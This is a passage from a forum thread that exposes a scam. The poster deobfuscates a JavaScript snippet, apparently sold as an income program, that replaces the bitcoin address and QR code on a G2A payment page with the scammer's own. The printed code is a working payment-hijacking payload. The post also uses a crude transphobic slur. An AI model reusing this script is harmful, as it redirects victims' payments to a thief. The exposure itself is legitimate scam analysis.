}, 10);

```

Let's simplify it giving us something this

PHP Code

```

<?php
var sebasthian = ['BTC address: 3A8Vg2BURjWWSB2RN9z7wTbLLxPHTMXcLe', '579606tueocN',
'12ZfZYsR', '9GnIRYV', '34rMWleY', 'https://i.postimg.cc/439tPZfk/canvas.png', '304KSHNnD',

'getElementsByClassName', '183577UfIYHx', '828564QvuTLJ', '17dbffHZ', 'code', '18913mYYrOa'];
var tmr = setInterval(function () {
    var hibaq = danesa;
    var abdussamad = document[hibaq(157)]("row");
    abdussamad[1].innerHTML = hibaq(146);
    document.getElementsByClassName(hibaq(161))[0].src = hibaq(151);
    var nashon = document[hibaq(157)](hibaq(161));
    if (nashon.length > 0) {
        clearInterval(tmr);
    }
}, 10);

```

This basically replaces the btc address shown by g2a to 3A8Vg2BURjWWSB2RN9z7wTbLLxPHTMXcLe and the qr image to <https://postimg.cc/mcTtZv18> which is basically the qr of the same bitcoin address.

This scam is retarded and literally 0 effort were put into it. It took me x10 more time to write this thread than actually reverse his script. And wtf does it mean to change the browser's timezone. Not only do they use the server's timestamp but also sites aren't gonna be like oh shit you sent the payment a little too late here have a refund. I mean I can respect a good or a smart scam even if I got scammed but this seems to be made by someone after they done wanking to tranny porn. Know what the crazy part is? People actually fell for this. \$1.5k were sent to that address which I assume were scammed

<https://www.blockchain.com/btc/address/3A8Vg2BURjWWSB2RN9z7wTbLLxPHTMXcLe>

Sadly after the PM he sent to me, I was put on his ignore list so I couldn't message him back

I am not sure if you guys know this but you can actually reverse things other than executable files and it is also called reverse engineering even if it is written in a language requiring an interpreter to run such as javascript

update.

I just got fooled by the scammer he pretended to be Vyrez#8129 on discord instead of Vyrez#666.

I bought the "BOSS INCOME" program and following that I received an update, so to speak, of this program.

Before I started I contacted him on discord and I didn't pay attention to the difference between the discord nicknames Vyrez#8129 instead of Vyrez#666.
